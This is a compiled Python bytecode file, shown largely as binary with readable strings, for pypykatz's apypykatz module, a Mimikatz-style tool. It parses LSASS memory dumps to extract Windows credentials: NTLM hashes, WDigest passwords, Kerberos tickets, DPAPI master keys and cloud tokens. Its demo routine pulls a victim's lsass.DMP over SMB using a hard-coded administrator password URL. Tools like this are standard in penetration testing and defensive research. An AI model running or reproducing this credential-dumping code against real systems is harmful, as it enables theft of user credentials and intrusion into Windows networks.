o
    Žõ±j.  ã                   @   s  d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZm	Z	m
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZ d dlmZ d dlmZ d dlmZ d dl m!Z! d dl"m#Z# d d	l$m%Z% d d
l&m'Z' G dd„ dƒZ(dd„ Z)dd„ Z*e+dkr†e*ƒ  dS dS )é    N)ÚKatzSystemInfo)ÚCredmanTemplateÚMsvTemplateÚMsvDecryptorÚWdigestTemplateÚLsaTemplateÚWdigestDecryptorÚLiveSspTemplateÚLiveSspDecryptorÚSspDecryptorÚSspTemplateÚTspkgDecryptorÚTspkgTemplateÚDpapiTemplateÚDpapiDecryptorÚLsaDecryptorÚCloudapTemplateÚCloudapDecryptorÚKerberosTemplateÚKerberosDecryptor)ÚLogonSession)Úlogger)ÚUniversalEncoder)ÚAMinidumpFile)ÚCCACHE)ÚKirbi)Ú__version__c                   @   sÄ   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zedgdfdd„ƒZ	edgdfdd„ƒZ
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd „ Zd!d"„ Zd+d$d%„Zd&d'„ Zdgfd(d)„Zd*S ),Ú	apypykatzc                 C   sH   || _ || _g | _d | _d | _d | _d | _i | _g | _g | _	t
ƒ | _d S ©N)ÚreaderÚsysinfoÚcredentialsÚarchitectureÚoperating_systemÚbuildnumberÚlsa_decryptorÚlogon_sessionsÚorphaned_credsÚerrorsr   Úkerberos_ccache)Úselfr   r    © r+   ú…/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/apypykatz.pyÚ__init__   s   zapypykatz.__init__c                 C   s²   i }i |d< | j D ]}| j |  ¡ |d |< q	g |d< | jD ]}|d  | ¡ ¡ qg |d< | jD ]%\}}t|ƒd d t |j	¡¡ }t
 | ¡ ¡ ¡ }|d  ||f¡ q1|S )Nr&   r'   r(   ú
)r&   Úto_dictr'   Úappendr(   ÚstrÚjoinÚ	tracebackÚ	format_tbÚ__traceback__Úbase64Ú	b64encodeÚencodeÚdecode)r*   ÚtÚlsÚocÚpkgÚerrÚerr_strr+   r+   r,   r/   +   s   

zapypykatz.to_dictc                 C   s   t j|  ¡ tddd�S )Né   T)ÚclsÚindentÚ	sort_keys)ÚjsonÚdumpsr/   r   ©r*   r+   r+   r,   Úto_json<   s   zapypykatz.to_jsonc           
      C   sz  d  tj¡d }| jD ]y}| j|  ¡ D ]o}|d  |¡d 7 }| jD ]`}| ¡ }|d dkrY|d d urXt|d ƒt|d ƒt|d ƒdddddt|d ƒg	}|d  |¡d 7 }q"| ¡ }t|d ƒdddddt|d	 ƒt|d
 ƒt|d ƒdg
}|d  |¡d 7 }q"qq| jD ]2\}}t|ƒd d  t	 
|j¡¡ }	t |	 ¡ ¡ ¡ }	|d ddddddd|	g	}|d  |¡d 7 }qˆ|S )Nú:r.   ÚcredtypeÚdpapiÚpasswordÚ
domainnameÚusernameÚ Ú	masterkeyÚsha1_masterkeyÚkey_guidÚ_exception_please_report)r2   r   Úgrep_headerr&   Úto_grep_rowsr'   r/   r1   r(   r3   r4   r5   r6   r7   r8   r9   )
r*   ÚresÚluidÚrowÚcredr:   Úxr=   r>   r?   r+   r+   r,   Úto_grep?   s,   

6€8÷þzapypykatz.to_grepc                 C   sÆ   d}| j D ]}|t| j | ƒd 7 }qt| jƒdkr,|d7 }| jD ]
}|t|ƒd 7 }q!t| jƒdkra|d7 }| jD ]&\}}t|ƒd d t |j¡¡ }t	 
| ¡ ¡ ¡ }|d|d |f 7 }q:|S )Nz== Logon credentials ==
r.   r   z== Orphaned credentials ==
z== Errors ==
z%s %s 
rR   )r&   r1   Úlenr'   r(   r2   r3   r4   r5   r6   r7   r8   r9   )r*   rU   rV   rX   r=   r>   r?   r+   r+   r,   Ú__str__W   s   

zapypykatz.__str__Úalli (  c              
   Ã   sœ   �zt  | ¡I d H }| ¡  |¡}t |¡}W n ty* } zt d¡ |‚d }~ww zt	||ƒ}| 
|¡I d H  W |S  tyM } z| ¡  |‚d }~ww )NzMinidump parsing error!)r   ÚparseÚ
get_readerÚget_buffered_readerr   Úfrom_minidumpÚ	Exceptionr   Ú	exceptionr   ÚstartÚlog_basic_info)ÚfilenameÚpackagesÚ	chunksizeÚminidumpr   r    ÚeÚmimir+   r+   r,   Úparse_minidump_filej   s&   €
€þ
ü€ýzapypykatz.parse_minidump_filec                 Ã   sH   �t  | ¡I dH }| ¡  |¡}t |¡}t||ƒ}| |¡I dH  |S )zé
		Parses LSASS minidump file based on the file object.
		File object can really be any object as longs as 
		it implements read, seek, tell functions with the 
		same parameters as a file object would.

		handle: file like object
		N)r   Úparse_externalr_   r`   r   ra   r   rd   )Úhandlerg   rh   ri   r   r    rk   r+   r+   r,   Úparse_minidump_external|   s   €


z!apypykatz.parse_minidump_externalc                 C   s‚   t  d¡ t  dt ¡ t  d| jjj ¡ t  d| jj ¡ t  d| jj ¡ t  d| jj ¡ t  d| jj	 ¡ t  d¡ d	S )
z=
		In case of error, please attach this to the issues page
		z8===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====zpypyKatz version: %szCPU arch: %szOS: %szBuildNumber: %szMajorVersion: %s zMSV timestamp: %sz===== BASIC INFO END =====N)
r   Úinfor   r    r"   Únamer#   r$   Úmajor_versionÚmsv_dll_timestamprF   r+   r+   r,   re   Ž   s   
zapypykatz.log_basic_infoc                 Ã   sJ   �t  | j¡}t | j¡}t| j|| j|| jƒ}| ¡ I d H  |j| _d S r   )	r   Úget_templater    r   r   r   r%   rd   r&   )r*   Úcredman_templateÚmsv_templateÚlogoncred_decryptorr+   r+   r,   Úget_logoncreds›   s   €zapypykatz.get_logoncredsc                 Ã   sj   �t  d¡ t | j¡D ]&}zt | j|| j¡}| ¡ I d H  | 	¡  W n   Y qt  d¡ |  S d S )Nz1Testing all available templates! Expect warnings!z@Lucky you! Brutefoce method found a -probably- working template!)
r   Údebugr   Úget_template_bruter    r   Úchooser   Úacquire_crypto_materialÚdump)r*   Úlsa_dec_templateÚlsa_decr+   r+   r,   Úget_lsa_bruteforce¢   s   €

÷zapypykatz.get_lsa_bruteforcec              
   Ã   s–   �zt  | j¡}t | j|| j¡}| ¡ I d H  | ¡  W |S  tyJ } z t	 
dt|ƒ ¡ |  ¡ I d H }|d u r>tdƒ‚|W  Y d }~S d }~ww )Nz?Failed to automatically detect correct LSA template! Reason: %szAll detection methods failed.)r   rt   r    r   r{   r   r|   r}   rb   r   ry   r1   r€   )r*   r~   r   rj   r+   r+   r,   Úget_lsa°   s   €
ù€ûzapypykatz.get_lsac                 Ã   ón   �t  | j¡}t| j|| j| jƒ}| ¡ I d H  |jD ]}|j| j	v r.| j	|j j
 |¡ q| j |¡ qd S r   )r   rt   r    r   r   r%   rd   r!   rV   r&   Úwdigest_credsr0   r'   )r*   Údecryptor_templateÚ	decryptorrX   r+   r+   r,   Úget_wdigestÀ   ó   €
üzapypykatz.get_wdigestc                 Ã   r‚   r   )r   rt   r    r   r   r%   rd   r!   rV   r&   Útspkg_credsr0   r'   )r*   Útspkg_dec_templateÚ	tspkg_decrX   r+   r+   r,   Ú	get_tspkgÊ   r‡   zapypykatz.get_tspkgc                 Ã   r‚   r   )r   rt   r    r   r   r%   rd   r!   rV   r&   Ú	ssp_credsr0   r'   ©r*   Údec_templateÚdecrX   r+   r+   r,   Úget_sspÔ   r‡   zapypykatz.get_sspc                 Ã   r‚   r   )r	   rt   r    r
   r   r%   rd   r!   rV   r&   Úlivessp_credsr0   r'   )r*   Úlivessp_dec_templateÚlivessp_decrX   r+   r+   r,   Úget_livesspÞ   r‡   zapypykatz.get_livesspc                 Ã   r‚   r   )r   rt   r    r   r   r%   rd   r!   rV   r&   Údpapi_credsr0   r'   r�   r+   r+   r,   Ú	get_dpapiè   r‡   zapypykatz.get_dpapiTc                 Ã   s¤   �t  | j¡}d}t| j|| j| j|d�}| ¡ I d H  |jD ]0}|jD ]}|j	D ]}| j
 t|j	| ƒ¡ q)q$|j| jv rI| j|j j |¡ q| j |¡ qd S )NF)Úwith_tickets)r   rt   r    r   r   r%   rd   r!   ÚticketsÚ
kirbi_datar)   Ú	add_kirbir   rV   r&   Úkerberos_credsr0   r'   )r*   r—   rŽ   r�   rX   ÚticketÚfnr+   r+   r,   Úget_kerberosò   s   €


ÿøzapypykatz.get_kerberosc                 Ã   sz   �t  | j¡}|d u rd S t| j|| j| jƒ}| ¡ I d H  |jD ]}|j| j	v r4| j	|j j
 |¡ q!| j |¡ q!d S r   )r   rt   r    r   r   r%   rd   r!   rV   r&   Úcloudap_credsr0   r'   )r*   Úcloudap_dec_templateÚcloudap_decrX   r+   r+   r,   Úget_cloudap  s   €
üzapypykatz.get_cloudapc              
   Ã   sÒ  �|   ¡ I d H | _d|v sd|v r5z	|  ¡ I d H  W n ty4 } z| j d|f¡ W Y d }~nd }~ww d|v s=d|v raz	|  ¡ I d H  W n ty` } z| j d|f¡ W Y d }~nd }~ww d|v smd|v smd|v r�d}d|v swd|v ryd}|  |¡I d H  d|v s‰d|v r­z	|  ¡ I d H  W n ty¬ } z| j d|f¡ W Y d }~nd }~ww d	|v sµd|v rÙz	|  	¡ I d H  W n tyØ } z| j d	|f¡ W Y d }~nd }~ww d
|v sâd|v �rz	|  
¡ I d H  W n t�y } z| j d
|f¡ W Y d }~nd }~ww d|v �sd|v �r6z	|  ¡ I d H  W n t�y5 } z| j d|f¡ W Y d }~nd }~ww d|v �s@d|v �rgz
|  ¡ I d H  W d S  t�yf } z| j d|f¡ W Y d }~d S d }~ww d S )NÚmsvr]   ÚwdigestÚkerberosÚkticketsFTÚtspkgÚsspÚlivessprJ   Úcloudap)r�   r%   rx   rb   r(   r0   r†   rž   r‹   r�   r”   r–   r¢   )r*   rg   rj   r—   r+   r+   r,   rd     sr   €€ÿ€ÿ€ÿ€ÿ€ÿ€ÿ€ÿýzapypykatz.startN)T)Ú__name__Ú
__module__Ú__qualname__r-   r/   rG   rZ   r\   Ústaticmethodrl   ro   re   rx   r€   r�   r†   r‹   r�   r”   r–   rž   r¢   rd   r+   r+   r+   r,   r      s,    





r   c               	   Ã   sê   �ddl m}  ddlm} dd l}|jd }t|ƒ d}|  |¡}| ¡ }| 	¡ }|4 I d H š9 | 
¡ I d H \}}	|	d ur?|	‚| |¡I d H \}}	|	d urO|	‚t ||ƒ¡I d H }
t|
ƒ W d   ƒI d H  d S 1 I d H snw   Y  d S )Nr   )ÚSMBConnectionFactory)ÚSMBFileReaderé   zksmb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP)Ú!aiosmb.commons.connection.factoryr¯   Úpypykatz.alsadecryptor.asbmfiler°   ÚsysÚargvÚprintÚfrom_urlÚget_connectionÚget_fileÚloginÚopenr   ro   )r¯   r°   r´   ÚfÚurlÚsmburlÚ
connectionÚsmbfileÚ_r>   rk   r+   r+   r,   ÚamainA  s(   €


.örÂ   c                  C   s$   dd l } | jdd� t tƒ ¡ d S )Nr   r±   )Úlevel)ÚloggingÚbasicConfigÚasyncioÚrunrÂ   )rÄ   r+   r+   r,   ÚmainZ  s   rÈ   Ú__main__),ÚplatformrD   rÆ   r6   r3   Úpypykatz.commons.commonr   Úpypykatz.alsadecryptorr   r   r   r   r   r   r	   r
   r   r   r   r   r   r   r   r   r   r   r   Ú-pypykatz.alsadecryptor.packages.msv.decryptorr   Úpypykatzr   r   Úminidump.aminidumpfiler   Úminikerberos.common.ccacher   Úminikerberos.common.kirbir   Úpypykatz._versionr   r   rÂ   rÈ   r«   r+   r+   r+   r,   Ú<module>   s,   T  '
ÿ